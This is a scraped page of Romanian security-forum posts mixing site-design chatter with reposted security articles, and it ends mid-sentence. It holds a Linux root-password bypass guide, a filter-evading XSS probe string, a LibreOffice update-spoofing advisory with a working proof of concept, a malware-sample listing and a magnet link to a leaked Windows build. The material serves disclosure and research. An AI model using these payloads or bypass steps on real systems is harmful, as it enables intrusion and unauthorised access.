Nytro

Pentru tema am primit ceva "verde" de la Gecko. Legat de search merge, dar cred ca cel de la vBulletin e cel mai ok.

1. O sa pun fontul mai mic, sa vedem cum iese 2. O sa scot formele patratoase daca arata mai bine rotunjite 3. Verific momentan doar daca daca e bifat "show avatar" nu si daca exista, o sa rezolv, sper 4. Link-urile mai deschise la culoare si toate sa aiba target="_blank" desi posturile/stirile au deja 5. Legat de chat, pare ok, o sa ma uit. 6. Legat de AJAX, eu ma gandisem la ceva elegant, care sa adauge doar posturile noi, nu sa faca un refresh la toate ultimele posturi, ultimele stiri... Dar e o versiune simpla si acceptabila. Tema e asta: WordPress > deCoder De preferat sa ramana tot asa, gradient.

Vreti prea multe Cand am timp o sa mai fac cateva modificari: 1. Font-ul era cam mare, asa mi s-a parut, de aceea am scos linia 2. O sa pun chestiile alea sa nu mai fie asa patratos 3. O sa verific de ce nu merg imaginile de profil la unii utilizatori 4. O sa deschid link-urile la culoare 5. Chatul nu prea vad unde sa il pun, e prea mare el in sine pentru a fi bagat pe acolo Probabil nu o sa fac update "real-time" cu AJAX la topicuri si posturi pentru ca o sa imi ia ceva timp si nu prea am. Legat de BLOG, da, aveam de gand sa il fac din albastru verde insa nu stiu daca o sa imi iasa. Se ofera cineva sa faca blog-ul VERDE?

Encrypt your harddisk.

Reset Linux root password without knowing the password -By Vaibhav Kaushal So there it goes - Linux is a secure OS. No, really it is. Despite the title of this post, Linux is actually a secure system. Before we proceed to the main topic, let us consider a few points: Linux is flexible to a very large extent. Linux's administrator account is called 'root'. Linux systems never deny access to any resource whatsoever to the root account. If there are any restrictions in place, the root can remove those as well. The root account can set and change the password of any user. To change the password of root, you need to first login as root! It is the 5th point where the problem is. Much like in Windows, you would get locked out of the system. But since Linux is not (as pathetic as) Windows, there are ways to work around it. Let us see some of them. Method 1 - Use 'sudo su' In many systems, a normal user which is added to the system is also added to the list of sudoers. These users can gain the power of root account by running a command prepended with the word sudo. So if the person passes sudo passwd root or passes sudo su to first get the root power and then run the passwd command, he or she would be able to reset the root password. Simple. Easy. Effective. But this does not work everywhere Method 2 - recovery mode The sudo su method works on many systems, but not all. It would work on Ubuntu systems most of the time but other distributions like OpenSUSE, Fedora, Sabayon etc. may not be able to use it because they either do not put the normal users in the list of suoders or they want the password of root (not the same normal account) to give root power. On such systems, one can use the recovery console to reset root password. To do so, one can select 'recovery menu' in the boot menu. Normally every Linux distribution that gets installed will install a 'recovery mode' or a 'failsafe mode' boot entry which allows the user to boot into runlevel 1 where only the root can login. The user can then pass the command passwd to reset the password. Method 3 - override the init file! The recovery mode thing cannot work always because many systems (or should I say 'most' systems) will ask for the root password for logging in. Now, since you do not know the root password in the first place, that trick will fail. In such a case, you can try this: In the boot menu, highlight your Linux menu entry (not the one for recovery mode, but for the normal one) and press 'e' key on the keyboard. This will start an editor where you can change the boot parameter. In most new Linux systems, Grub2 comes as the boot loader. In such systems, the boot menu entry would be a bit complicated. So you might get intimidated by what you see at first. Do not worry, search for the line which starts with the word 'linux'. It would look something like this: linux /boot/vmlinuz-3.7.10-1.1-desktop root=UUID=ba08039b-33ba-4074-857c-9688856c3583 video=1366x768 resume=/dev/disk/by-id/ata-WDC_WD3200BEVT-75ZCT2_WD-WXE1A9033884-part2 splash=silent quiet showopts You have to add this to the end of that line: init=/bin/bash. So the line will start looking like this: linux /boot/vmlinuz-3.7.10-1.1-desktop root=UUID=ba08039b-33ba-4074-857c-9688856c3583 video=1366x768 resume=/dev/disk/by-id/ata-WDC_WD3200BEVT-75ZCT2_WD-WXE1A9033884-part2 splash=silent quiet showopts init=/bin/bash Now press the F10 button (or whatever is being shown on the screen for the booting) to boot the system. NOTE: If you do not have Grub2, but a lower version of grub then you should search for the line starting with the word 'kernel' instead of 'linux'. Also, you would have to press the 'b' key to boot the entry in that case. When you boot like that, you would be given the root prompt. You can then run the command passwd root to change the root password. The reason why this happens is because normally when a Linux system boots, the kernel is loaded first. After the kernel is loaded, it loads the ramdisk and gets ready for continuing the rest of the booting. Once it is ready, it runs the init command (usually located at /sbin/init) which would run the rest of the system. When you pass init=/bin/bash to the kernel, it will not load /sbin/init file for booting; instead it will load /bin/bash file which starts the bash shell with the root user's power (because the kernel itself called it) and hence that prompt would allow you to change the root user's password. Actually, this prompt had more power than anything else on Linux because it is running with all the privileges of the system! Method 4 - the ultimate method - change the password hash If none of the above works for you then you can take help of another Live Linux CD/DVD to change the root password. This method is long and is a step by step process. You should follow it carefully. Here are the steps (we will consider that the installed system was OpenSUSE and the Live DVD was that of Ubuntu): Boot into the Live Linux system (Ubuntu) using the DVD. Once the system is up, go to the terminal and type 'sudo su'. This will get you to the root user. Now, mount the partition of the disk which contains the /etc directory of the installed system (i.e. the root partition of the OpenSUSE installation on disk). Usually, it would be /dev/sda1 or /dev/sda2 etc. You would know it better. Assuming it was on /dev/sda2, run the command: mkdir /tmpmnt mount /dev/sda2 /tmpmnt Above command will mount your installed system's root partition on /tmpmnt directory of the live system. Now you run the command: 'passwd root'. It will ask for password twice. Enter the password and remember the password well! Open the file /etc/shadow of live system (use vim or nano) and search for the line which begins with the word 'root'. It will look something like this: root:$6$o9LWR1MJXjmO$IRP3uil/aSsDVR/HoCqXvTMUbp9.91z58MkiZSoHfFv3AuB54xQetmTP6E9Y6k2Wku80O9wbjcXC24kl6zKUz/:15609:::::: Now, the gibberish you see after the first colon is your password hash. Copy that hash. (In this case, the hash is $6$o9LWR1MJXjmO$IRP3uil/aSsDVR/HoCqXvTMUbp9.91z58MkiZSoHfFv3AuB54xQetmTP6E9Y6k2Wku80O9wbjcXC24kl6zKUz/ Open the /tmpmnt/etc/shadow file and search for the line that begins with 'root'. It will look very much similar to what you saw in step 6. Replace the existing hash in this file (/tmpmnt/etc/shadow) with the one you have copied (from /etc/shadow); i.e. you have to delete the existing text after the first colon in the file /tmpmnt/etc/shadow and paste the copied hash there! Save the file and reboot the system to the installation on the disk. Try to login as root and use the password as what you had used in step 5. You should be able to login! Viola, you have successfully changed the password! The last trick is the master trick of them all. If none of the steps work for you (try them in the order they have been mentioned), please let us know what issues you are facing in the comments. OR you can register at the site and ask specific questions in the forums. Sursa: Reset Linux root password without knowing the password

Am pus 2px intre <li>-uri. In afara de micile detalii care difera de la om la om, ca functionalitate, ce ati vrea sa mai apara pe acolo?

Veniti si cu sugestii pentru fonturi. PS: Daca veniti cu un font valid de "Microsoft Windows TrueType Font CVE-2012-4786 Remote Code Execution Vulnerability" aveti o sticla de whiskey de la mine :->

Avem, dupa secole, un nou homepage: https://rstforums.com/ Multumim Gecko pentru design! Asteptam sugestii atat legate de functionalitate cat si de design. Speram sa nu fie probleme.

"><script>alert('TEST');</sc<!--Z-->ipt>

[h=1]Public Key Cryptography: RSA Encryption Algorithm[/h] RSA Public Key Encryption Algorithm (cryptography). How & why it works. Introduces Euler's Theorem, Euler's Phi function, prime factorization, modular exponentiation & time complexity.

Nu l-am putut instala pe VMWare, dadea BSOD pe HAL (Hardware Abstraction Layer) initializer. O sa incerc si VirtualBox. L-a incercat cineva? Pareri? Ce e nou?

[h=1]Windows Blue, Build 9364 leaked[/h]March 24, 2013 by ankur We have just got an exclusive news from our sources that that Windows Blue Build 9364 which probably belongs to Milestone 1 has been leaked and is available for download somewhere on internet. This is the first build to be leaked after Windows 8 was released by Microsoft. Here are the details of the build- Name: 9364.0.FBL_PARTNER_OUT13.130315-2105_X86FRE_CLIENT_EN-US-IMP_CCSA_DV5.ISO Size: 2,63 GB HASH: 179B588DFC21CCF4B76B7E9BE505A51D00F52D6F Currently only 32 bit version has been leaked. Here is the screenshot of this build- Torrent: magnet:?xt=urn:btih:98C4A6164F91792B9D575E2260CFBC53DBA22D72&dn=9364.0.FBL_PARTNER_OUT13.130315-2105_X86FRE_CLIENT_EN-US-IMP_CCSA_DV5.ISO&tr=udp%3a%2f%2ftracker.publicbt.com%3a80%2fannounce&tr=udp%3a%2f%2ftracker.ccc.de%3a80%2fannounce&tr=udp%3a%2f%2ftracker.openbittorrent.com%3a80%2fannounce Link direct: https://rstforums.com/WindowsBlue.iso Sursa: Windows Blue, Build 9364 leaked | Windows 9 Beta

Stream Armor Stream Armor is the sophisticated tool to discover Hidden Alternate Data Streams (ADS) and clean them completely from your system. It's advanced auto analysis coupled with Online Threat Verification mechanism makes it the best tool available in the market for eradicating the evil streams. [TABLE] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=align: center] [/TD] [/TR] [/TABLE] It comes with fast multi threaded ADS scanner which can recursively scan over entire system and quickly uncover all hidden streams. All such discovered streams are represented using specific color patten based on threat level which makes it easy for human eye to distinguish between suspicious and normal streams. It has built-in Advanced File Type Detection mechanism which examines the content of file to accurately detect the file type of stream. This makes it great tool in Forensic Analysis in uncovering hidden documents/images/audio/video/database/archive files within the alternate data streams. It is fully Portable software which can be directly run anywhere without installing locally. It works on wide range of platforms starting from Windows XP to Windows 8. [TABLE] [TR] [TD=class: page_subheader]What is Alternate Data Stream (ADS) ?[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD]Alternate Data Stream (ADS) is the lesser known feature of Windows NTFS file system which provides the ability to put data into existing files and folders without affecting their functionality and size. Any such stream associated with file/folder is not visible when viewed through conventional utilities such as Windows Explorer or DIR command or any other file browser tools. It is used legitimately by Windows and other applications to store additional information (for example summary information) for the file. Even 'Internet Explorer' adds the stream named 'Zone.Identifier' to every file downloaded from the internet. Due to this hidden nature of ADS, hackers have been exploiting this method to secretly store their Rootkit components on the compromised system without being detected. For example, the infamous Rootkit named 'Mailbot.AZ' aka 'Backdoor.Rustock.A' used to hide its driver file into system32 folder (C:\Windows\system32) as a stream '18467'. In short, ADS provides easy way to store the malicious content covertly as well as execute it directly without making even a bit of noise. Only sophisticated tools such as StreamArmor has the ability to discover and destroy these hidden malicious streams. For complete details on 'Alternate Data Streams' please refer to the following article, 'Exploring Alternate Data Streams' [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader]Features [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] Fast, multi threaded ADS scanner to quickly and recursively scan entire computer or drive or just a folder. 'Snapshot View' for quick identification of selected stream and faster manual analysis. Option to 'Ignore Known and Zero Streams' which automatically ignores all known streams (such as Zone.Identifier) and streams with zero size, thus greatly reducing time and effort involved in manual analysis. Advanced stream file type detection which analyzes internal content of file to detect the real file type rather than just going by the file extension. Here is the list of some of the major file type categories detected by StreamArmor Executable File Type (EXE, DLL, SYS, COM, MSI, CLASS) Archive File Type (ZIP, RAR, TAR, GZ, COM) Audio File Type (MP3, WAV, RA, RM, WMA, M3U) Video File Type (WMV, AVI, MPEG, MP4, SWF, DIVX, FLV, DAT, VOB, MOV) Database Type (MS ACCESS) Document Type (PDF, XML, DOC, RTF, All MS Office old & new formats) [*]Sophisticated 'Auto Threat Analysis' based on heuristic technology for identifying anomaly in the discovered streams based on the characteristics and patterns. [*]'Online Threat Verification' to check for presence of Virus or Rootkit in the suspicious stream using any of the following prominent online websites. VirusTotal (www.VirusTotal.com) ThreatExpert (ThreatExpert - Automated Threat Analysis) MalwareHash (Malware Hashes Database - MalwareHash) [*]Representation of streams using color pattern based on threat level makes it easy and fast for human eye to distinguish between suspicious streams from normal ones. [*]Parallel analysis of discovered streams during the scanning process, allows user to start with analysis immediately without waiting for entire scanning operation to be completed. [*]View the entire content of selected stream using the configured third party application. In fact user can configure different applications for normal & executable stream file. [*]Save the selected stream file content to a disk, or USB drive or DVD for further analysis. [*]Delete the selected alternate data stream from its base file or folder. [*]Execute/Run the selected executable stream file for analyzing its malicious nature in virtual environments such as VMWare. [*]Dynamic performance tuning mechanism by adjusting the ADS scan thread count [only for advanced users]. [*]Sort feature to arrange the scanned streams based on its name/threat level/content type/size. [*]Export the entire list of discovered streams to a disk file in HTML format for offline analysis. [/TD] [/TR] [/TABLE] Download: http://securityxploded.com/download.php#streamarmor Sursa: Stream Armor : Advanced Tool to Scan & Clean Malicious Alternate Data Streams (ADS) | www.SecurityXploded.com

[h=1]Microsoft releases Skype transparency report under pressure from privacy groups[/h]by James Dohnert Microsoft has released details of the number of requests for user data made by law enforcement in 2012. The report comes following calls for transparency from online privacy advocates. According to the report, Microsoft and Skype received more than 75,000 requests for data last year. Redmond says the requests potentially affected 137,424 user accounts. "We are providing information on the criminal law enforcement requests we receive for customer data," wrote Microsoft in a blog post. "Like others in the industry, we believe it is important for the public to have access to information about law enforcement access to customer data, particularly as customers are increasingly using technology to communicate and store private information." Microsoft's transparency report comes following similar releases from the likes of Google and Twitter. Google released its latest report earlier this month, while Twitter launched its data request logs in January. Earlier this, 44 privacy groups pushed Microsoft to disclose information on law enforcement requests for Skype user data. Skype was acquired by Microsoft in 2011. Up until recently the firm did not report law enforcement requests for Skype user data in its transparency report. According to the report, Microsoft disclosed customer content to law enforcement agencies about two percent of the time. The report also shows that the firm disclosed non-content information about 79 percent of the time. Microsoft defines non-content information as basic user data such as last used IP address, customer names, and login names. Content information is considered data such as cloud stored documents and email text. Along with general disclosure data, Microsoft also released information on requests made by National Security Letters (NSLs). The letters are requests for non-content data that does not require a court order. Redmond is only allowed to share ballpark figures for the NSLs disclosures. The report finds that Microsoft received up to 999 NSL requests in 2012. Until recently no information on NSL letters were allowed to be disclosed in transparency reports. Sursa: Microsoft releases Skype transparency report under pressure from privacy groups - IT News from V3.co.uk

LibreOffice 4.0.1.2 Update Spoofing Authored by Janek Vind aka waraxe | Site waraxe.us LibreOffice version 4.0.1.2 suffers from an update spoofing vulnerability due to not using a secure channel nor digital signatures. [waraxe-2013-SA#099] - Update Spoofing Vulnerability in LibreOffice 4.0.1.2 =============================================================================== Author: Janek Vind "waraxe" Date: 21. March 2013 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-99.html Description of vulnerable software: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ LibreOffice is a free and open source office suite, developed by The Document Foundation. It is descended from OpenOffice.org, from which it was forked in 2010. The LibreOffice suite includes a word processor, spreadsheet, graphics editor, slideshow creator, database and math formula writer. http://www.libreoffice.org/ Affected are versions 3.5.1 to newest 4.0.1.2, older versions were not tested. ############################################################################### 1. Update Spoofing Vulnerability ############################################################################### It appears, that current version of LibreOffice contains security vulnerability in update mechanism, which can be exploited by malicious people to conduct spoofing attacks. When checking for updates, LibreOffice issues GET request over HTTP: GET /check.php HTTP/1.1 Connection: TE, close TE: trailers Host: update.libreoffice.org Accept-Encoding: gzip Pragma: no-cache Accept-Language: en-US User-Agent: LibreOffice 4.0 .0.3 (7545bee9c2a0782548772a21bc84a9dcc583b89; Windows; x86; BundledLanguages=en-US af am ar as ast be bg bn bn-IN bo ...) Server at "update.libreoffice.org" responds with XML data: <?xml version="1.0" encoding="utf-8"?> <inst:description xmlns:inst="http://update.libreoffice.org/description"> <inst:id>LibreOffice 4.0.1</inst:id> <inst:gitid>84102822e3d61eb989ddd325abf1ac077904985</inst:gitid> <inst:os>Windows</inst:os> <inst:arch>x86</inst:arch> <inst:version>4.0.1</inst:version> <inst:buildid>9999</inst:buildid> <inst:update type="text/html" src="http://www.libreoffice.org/download/" /> </inst:description> LibreOffice user can click "Download" and "Install" buttons and LibreOffice will download and install the update. Such update mechanism contains two security flaws: 1. Update check is done over unencrypted HTTP channel. Malicious third party is able to conduct Man-in-the-Middle (MitM) attacks and spoof server response. In this way it is possible to instruct LibreOffice to download malicious update. 2. LibreOffice will execute downloaded update without digital signature verification. Testing: tests were done using Windows 7, Apache and PHP. Steps: 1. modify "windows/system32/drivers/etc/hosts" file in order to emulate DNS spoofing: 127.0.0.1 update.libreoffice.org 2. create php file "check.php" to the webserver main directory: <?php echo '<?xml version="1.0" encoding="utf-8"?> <inst:description xmlns:inst="http://update.libreoffice.org/description"> <inst:id>LibreOffice 5.6.7</inst:id> <inst:gitid>123456789</inst:gitid> <inst:os>Windows</inst:os> <inst:arch>x86</inst:arch> <inst:version>5.6.7</inst:version> <inst:buildid>9999</inst:buildid> <inst:update type="application/octet-stream" src="http://localhost/notepad.exe" /> </inst:description>'; ?> 3. Place "notepad.exe" file to the webserver main directory. 4. Open LibreOffice Writer -> Help -> Check For Updates Response: LibreOffice 5.6.7 is available. 5. Press "Download" button. Successful download ends with response: Download of LibreOffice 5.6.7 completed. Ready for installation. 6. Press "Install" button, choose "Yes" and after that Notepad will be opened. Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" Waraxe forum: http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ Random project: http://albumnow.com/ ---------------------------------- [ EOF ] ------------------------------------ Sursa: LibreOffice 4.0.1.2 Update Spoofing ? Packet Storm

[h=2]NT Insider 2013[/h]NT Insider 2013 is Out // In this issue of The NT Insider... // switch(IoControlCode) { case IOCTL_TNTI_MSB101: { // Understanding MSBuild project files isn't magic. At least, // not after we explain them to you. // __analysis_assume(NTDDI_VERSION >= NTDDI_WIN8) MSBUILD 101 (Page 4) break; } case IOCTL_TNTI_IRWSL: { // Reader/Writer Spin Locks have been in Windows since // Vista SP1. Finally, they're documented. // Introducing Reader/Writer Spin Locks (Page 6) break; } case IOCTL_TNTI_UMKM: { // Devs always ask: "How can I call a user-mode function // from my driver." You can't. But you don't need to. // Calling User Mode Functions from Kernel Mode (Page 8) break; } case IOCTL_TNTI_FBDE: { // Ever find a missing symbol in the Windows PDBs, or wish // you could fix a symbol error? We tell you how. // Fixing Broken Debugger Extensions (Page 10) break; } case IOCTL_TNTI_ALAL: { // Pre-Fast + SDV = not enough? // Another Look at Lint (Page 12) break; } case IOCTL_TNTI_PP: { // Peter Pontificates (Page 3) break; } default: http://www.osr.com break; } Download: http://insider.osr.com/2013/ntinsider_2013_01.pdf

[h=3]16,800 clean and 11,960 malicious files for signature testing and research.[/h]Sunday, March 24, 2013 Signature and security product testing often requires large numbers of sorted malicious and clean files to eliminate false positives and negatives. They are not always easy to find, but here are some that I have. Clean documents are collected from various open sources. All the copyright rights belong the the authors of each document and file. You must not use the documents for their content but only as samples of particular file types. Download all All files use the same password (scheme). Email me if you need the password. 16,800 CLEAN FILES EXE UTILITY FOR CLEAN EXE FILES XLS(X), DOC(X), RTF CLEAN MS OFFICE FILES AND RTF - 2000 FILES ZIP, 7Z, RAR CLEAN ARCHIVE FILES - 5500 FILES JAR CLEAN JAVA FILES - 100 FILES PDF PDF - 9000_files and PDF -100+with embed_3d_video_swf_ js MACH-O CLEAN OSX MACH-O FILES - 50 FILES ELF CLEAN ELF LINUX FILES - 50 FILES 11,960 MALICIOUS FILES PDF MALWARE PDF NEW -170 FILESMALWARE PDF PRE_04-2011_10982_files RTF, XLS MALWARE RTF_CVE-2010-3333_RTF_92files MALWARE_RTF_CVE-2012-0158_300_files MALWARE_ENCRYPTED_XLS_16files MACH-O MALWARE_MACHO_OSX_100_FILES ELF MALWARE_ELF_LINUX_100_FILES JAR MALWARE JAVA (JAR) - 200 FILES DETAILED LISTING OF CLEAN FILES 1. WINDOWS EXECUTABLES EXE Windows executables. I am not posting any because you can quickly generate your own from any vm. See exe collect utility by Stephan Chenette. https://github.com/IOActive/SearchAndCollect 2. CLEAN MS OFFICE FILES AND RTF - 2,000 FILES DOC, DOCX, XLS, XLSX, RTF RTF - 200_files XLSX -100_files XLS_300_files DOCX_100_files DOC_1300_files 3. CLEAN ARCHIVE FILES - 5,500 FILES 7z, ZIP, RAR Encrypted and not. 7z_w_EXE+DLL_1000_files_nopass RAR_EXE+DLL_1000_files_encryptedname_pass_123qwe RAR_EXE+DLL_1000_files_pass_password123 RAR_OFFICE+PDF_500_files_pass_1234!@#$ ZIP_w_EXE+DLL_1000_files_nopass ZIP_w_EXE+DLL_1000_files_pass_password123 4. CLEAN JAVA FILES - 100 FILES JAR CLEAN_JAR_100_files 5. CLEAN ADOBE READER FILES - 9,100 FILES PDF PDF - 9000_files PDF -100+__embed_3d_video_swf_ js - clean pdf documents with special features - embedded javascript, 3d objects, flash, video, etc. 6. CLEAN OSX MACH-O FILES - 50 FILES 7. CLEAN ELF LINUX FILES - 50 FILES DETAILED LISTING OF MALICIOUS FILES 1. MALWARE ADOBE READER FILES -11,152 FILES PDF PDF-XDP _3files CVE-2013-0640_PDF_21files CVE-2012-0754_PDF_1file CVE-2011-2462_PDF_25files CVE-2010-0188_PDF_49files CVE_2010-2883_PDF_25files MALWARE_PDF_PRE_04-2011_10982_files - files from web exploit packs - older than April 2011. 2. MALWARE MS OFFICE AND RTF FILES - RTF, XLS MALWARE RTF_CVE-2010-3333_RTF_92files MALWARE_RTF_CVE-2012-0158_300_files MALWARE_ENCRYPTED_XLS_16files 3. MALWARE_MACHO_OSX_100_FILES 4. MALWARE_ELF_LINUX_100_FILES 5. MALWARE JAVA (JAR) - 200 FILES Sursa: contagio: 16,800 clean and 11,960 malicious files for signature testing and research.

[h=2]Privacy 101: Skype Leaks Your Location[/h]The events of the past week reminded me of a privacy topic I’ve been meaning to revisit: That voice-over-IP telephony service Skype constantly exposes your Internet address to the entire world, and that there are now numerous free and commercial tools that can be used to link Skype user account names to numeric Internet addresses. The fact that Skype betrays its users’ online location information is hardly news. For example, The Wall Street Journal and other news outlets warned last year about research showing that it was possible to coax Skype into revealing the IP addresses of individual Skype users. But I believe most Skype users still have no clue about this basic privacy weakness. What’s changed is that over the past year, a number of services have emerged to help snoops and ne’er-do-wells exploit this vulnerability to track and harass others online. For example, an online search for “skype resolver” returns dozens of results that point to services (of variable reliability) that allow users to look up the Internet address of any Skype user, just by supplying the target’s Skype account name. In the above screen shot, we can see one such service being used to display the IP address most recently used by the Skype account “mailen_support” (this particular account belongs to the tech support contact for Mailien, a Russian pharmacy spam affiliate program by the same name). Typically, these Skype resolvers are offered in tandem with “booter” or “stresser” services, online attack tools-for-hire than can be rented to launch denial-of-service attacks (one of these services was used in an attack on this Web site, and on that of Ars Technica last week). The idea being that if you want to knock someone offline but you don’t know their Internet address, you can simply search on Skype to see if they have an account, and then use the resolvers to locate their IP. The resolvers work regardless of any privacy settings the target user may have selected within the Skype program’s configuration panel. Many of these resolver services offer “blacklisting,” which for a fee will allow users to prevent other users from looking up the IP address attached to a specific Skype account, said Brandon Levene, an independent security researcher. “It’s basically a protection scheme,” Levene said. Levene said the Skype resolvers work by using a modified Skype client (5.5 or 5.9) to create a debug log. This client is hosted on a web server. “A simple script is used to construct a link containing a Skype username, which is passed to the modified client,” Levene said. “This client simply attempts to add the requested username to a contact list and parses the target account’s ‘information card’ (if available). This process writes the IP address of the requested username to the debug log, in plain sight.” Beyond exposing one’s Internet connection to annoying and disruptive attacks, this vulnerability could allow stalkers or corporate rivals to track the movement of individuals and executives as they travel between cities and states. Skype was purchased by Microsoft in 2011, but Microsoft appears to have done little to address this privacy weakness, despite the attention brought to it and the proliferation of sites offering tools to exploit it. “We are investigating reports of tools that capture a Skype user’s last known IP address,” a spokesperson for Skype said in an emailed statement. “This is an ongoing, industry-wide issue faced by all peer-to-peer software companies.” The simplest way to address these privacy issues would be to relay all Skype signalling traffic (e.g., handshakes) through proxies, said Stevens Le Blond, a researcher at the Max Planck Institute for Software Systems in Germany. “That would prevent low-resource third parties, such as resolvers, to track Skype users,” Le Blond wrote in an email to KrebsOnSecurity. “However, despite a major infrastructure upgrade last year, Skype is still vulnerable to location tracking. One can only hypothesize as to why that is the case. One possibility is that relaying all signalling traffic would break interoperability with earlier versions of Skype. Defending against more powerful attackers able to eavesdrop on Internet links is much more challenging because it requires to relay both signalling and encrypted payload traffic, Le Blond said. “One challenge is that the maximum Round Trip Time (RTT) that VoIP users can tolerate is around 300 milliseconds (ms) whereas the propagation delay in a fiber optical cable spanning the circumference of the planet is approximately 200ms. It means that when a user in Germany calls another one in Australia, the proxy service must incur less than 100ms additional RTT. My team and I are currently working on this problem.” Update, March 22, 9:45 a.m. ET: Added quotes from Microsoft, Levene and Le Blond. Sursa: Privacy 101: Skype Leaks Your Location — Krebs on Security

[sE-2011-01] PoC code for digital SAT TV research released From: Security Explorations <contact () security-explorations com> Date: Thu, 21 Mar 2013 14:30:41 +0100 Hello All, Last year, we disclosed information pertaining to security issues discovered as a result of our digital satellite TV research [1]. It's been over a year and we haven't received [2] information with respect to the status and impact of the vulnerabilities found in: - digital satellite TV set-top-boxes produced by Advanced Digital Broadcast [3], - DVB / MPEG chipsets manufactured by STMicroelectronics [4]. We haven't received important information from Conax AS [5] either. This in particular concerns a final security level assigned by the company to set-top boxes and secure DVB chipsets evaluated as part of Conax security / evaluation process. Conax "rigorous evaluation and testing regime" [6] missed serious security vulnerabilities potentially affecting 540 millions [7] of DVB / MPEG chipsets. Today, a new digital satellite TV platform starts in Poland. It is called NC+ [8] and it is apparently based on equipment / technology coming from several vendors, which were affected by security issues found as part of SE-2011-01 project. We take the above as a perfect opportunity to verify whether these vendors had learned anything from the results of our 1.5 years long research. We assume that they have and that in particular: - all of security issues discovered as part of our SE-2011-01 project have been properly resolved, - new equipment is considerably harder to hack or use for any SAT TV piracy purposes. We decided to release our Proof of Concept code developed as part of SE-2011-01 project [9]. Its source code is is available for download from the following location: Security Explorations - SE-2011-01 - Vendors status We believe that the security community and professionals involved in a development of digital satellite TV ecosystems should benefit the most from the release of our Proof of Concept code. Thank you. Best Regards, Adam Gowdiak --------------------------------------------- Security Explorations Security Explorations "We bring security research to the new level" --------------------------------------------- References: [1] SE-2011-01 Security weaknesses in a digital satellite TV platform Security Explorations - SE-2011-01 [2] SE-2011-01 Vendors status Security Explorations - SE-2011-01 - Vendors status [3] Advanced Digital Broadcast Advanced Digital Broadcast [4] STMicroelectronics STMicroelectronics [5] Conax AS CONAX | Sustaining Magic [6] Conax Security Evaluation Scheme Security Evaluation Scheme | CONAX [7] Multimedia Convergence & ACCI Sector Overview, Philippe Lambinet, STMicroelectronics Error [8] NC+ Digital Satellite TV Plaform nc+ - nowa definicja rozrywki [9] SE-2011-01 Proof of Concept Code (technical information) Security Explorations - SE-2011-01 - Proof of Concept code Sursa: Bugtraq: [sE-2011-01] PoC code for digital SAT TV research released

New TDL Malware Variant Uses Chromium Embedded Framework March 23rd, 2013, 10:46 GMT · By Eduard Kovacs Number of CEF downloads Symantec experts have identified a variant of the notorious TDL malware (also known as TDSS or Tidserv) that relies on the legitimate Chromium Embedded Framework (CEF) to accomplish its malicious tasks. What’s even more curious is that the malware downloads the 50MB framework on each of the infected devices. Since this new version has been launched, the number of CEF downloads has increased considerably, on March 21 reaching almost 25,000 downloads. It’s uncertain if the number of downloads represents the number of malware infections, but this is a likely scenario judging by the graph published by Symantec. The use of CEF, which provides web browser control based on the Google Chromium project, allows cybercriminals to move basic web browser functionalities from the malware’s own modules to the framework’s library. However, the authors of the CEF are not happy with the fact that cybercriminals are using their creation. As such, they’ve removed the binary used by the malware from the Google Code project page. Additional technical details of the new TLD malware are available on Symantec's blog. Sursa: New TDL Malware Variant Uses Chromium Embedded Framework - Softpedia

How NASA got an Android handset ready to go into space Rewiring hardware and software in the Nexus S to make it work on the ISS. by Florence Ion - Mar 23 2013, 6:00pm GTBST Florence Ion It’s what science fiction dreams are made of: brightly colored, sphere-shaped robots that float above the ground, controlled by a tiny computer brain. But it isn't fiction: it’s the SPHERES satellite, and its brain is an Android smartphone. Two and a half years ago, the Human Exploration and Telerobotics Project (HET) equipped a trio of these floating robots with Nexus S handsets running Android Gingerbread. (HET is a project at NASA's Ames Research Center that uses SPHERES, which stands for “Synchronized Position Hold, Engage, Reorient, Experimental Satellites," and that project itself is called SmartSPHERES). Despite their name, these SPHERES aren't traditional satellites—they're currently being used inside the International Space Station (ISS) to investigate applications like telerobotic cameras and high-latency control, and to measure sound and radiation levels. More generally, the Android phones will help HET test out news ways of sensing and modeling the ISS so that robots can eventually become an integral part of the space station's operations. Space exploration is still largely a human-controlled operation, but by equipping each of these self-contained satellites with their own Nexus S, the team has enabled them to navigate autonomously while researchers provide high-level commands from Earth. There are currently two Nexus S smartphones at work in the ISS right now. Hardware upgrades for SPHERES aren't possible without flying completely new equipment up to the ISS, but adopting Android allowed some quick software fixes that would have otherwise been impossible. It took some time and quite a bit of tinkering before the handset was ready to go up in space, however, including some hardware hacking and careful measurements of the accelerometer's accuracy in space. Why the Nexus S? The Nexus S as attached to a SPHERES satellite at NASA Ames. Florence Ion The SPHERES have been in flight since 2006. They were designed by MIT for use on the ISS as an upgradable test bed for formation flight and movement in space, where they use compressed CO2 thrusters. The project had mainly served to try out experimental software, but the needs of the HET SmartSPHERES project soon exceeded the capabilities of the decade-old processor contained inside the satellites. "By connecting a smartphone, we can immediately make SPHERES more intelligent. With the smartphone, the SPHERES will have a built-in camera to take pictures and video, sensors to help conduct inspections, a powerful computing unit to make calculations, and a Wi-Fi connection that we will use to transfer data in real-time to the space station and mission control,” wrote DW Wheeler, lead engineer in the Intelligent Robots Group at NASA Ames. "We knew of other projects that were using the Nexus One, and HTC had done some interesting things in that phone that didn't make it ideal for us,” Mark Micire, research scientist and project lead of the Intelligent Robotics Group, told Ars. “It has to do with [HTC's] battery technology—it has to be a proprietary battery or it won’t boot up.” Micire and the team also figured out that the Nexus S would be much easier to disassemble. “You basically pop it open,” said Micire. “It’s literally six screws on the outside and it comes apart.” Samsung had also separated the circuit boards inside the Nexus S, which made it easier to navigate around the various components featured inside the phone. “We look [at the SPHERES] as a robot that needed a brain, and that’s where Android phones came in.” Cellphone lobotomies Enlarge / Cellphone lobotomies can be tricky things, but in NASA's case it worked. NASA One of the biggest challenges of getting a manufacturer’s proprietary 